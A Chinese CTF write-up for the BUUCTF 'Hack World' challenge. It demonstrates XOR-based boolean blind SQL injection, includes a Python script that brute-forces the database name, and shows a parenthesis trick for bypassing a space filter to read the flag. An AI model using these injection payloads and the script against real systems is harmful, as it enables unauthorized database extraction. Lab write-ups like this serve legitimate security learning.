zoukankan      html  css  js  c++  java
  • BUUCTF Hack World

    有返回 ,基于布尔得盲注
    这里用到异或注入(个人喜欢这样用)
    1^0 返回 Hello, glzjin wants a girlfriend.
    1^1 返回 Error Occured When Fetch Result.

    (1)^(length(database())>11) 根据返回得到后面语句为假,但是>10返回真,数据库长度为11
    上脚本
    import requests
    import string
    str=string.ascii_lowercase+string.ascii_uppercase+string.digits+'!@#$%^&*()_+'
    url='http://5f73bc57-8da1-4611-8994-3e7796120777.node3.buuoj.cn/index.php'
    db_name=''
    flag="Error Occured When Fetch Result."
    for i in range(1,12):
    for str1 in str:
    data="(1)^(substr(database(),%d,1)='%s')"%(i,str1)
    key={'id':data}
    r=requests.post(url,data=key).text
    if flag in r:
    db_name=db_name+str1
    print(db_name+" is")
    break
    else:
    print(str1+" is not")


    表名和列名题目都有提示都是flag
    但是在跑长度是发现有些被过滤了
    字母+'空格'+字母 被过滤
    这里直接用()去绕过
    (1)^(length((select(flag)from(ctftraining.flag)))>42)得到表厂为42
    然后只需要将上面脚本 data换一下就好了

     跑出答案 看kk师傅wp说好多都被过滤了 没去尝试,我也不知道那些被过滤,只知道空格加字母,主要是因为这道题直接告诉了表名和列名

  • 相关阅读:
    亚洲区哈尔滨赛区网络预选赛over
    背包问题
    Memcache基础教程
    Telnet的命令
    Telnet技术白皮书
    workthread模式
    Telnet的命令
    telnet 测试memcached
    telnet 测试memcached
    Memcache基础教程
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/11789584.html
Copyright © 2011-2022 走看看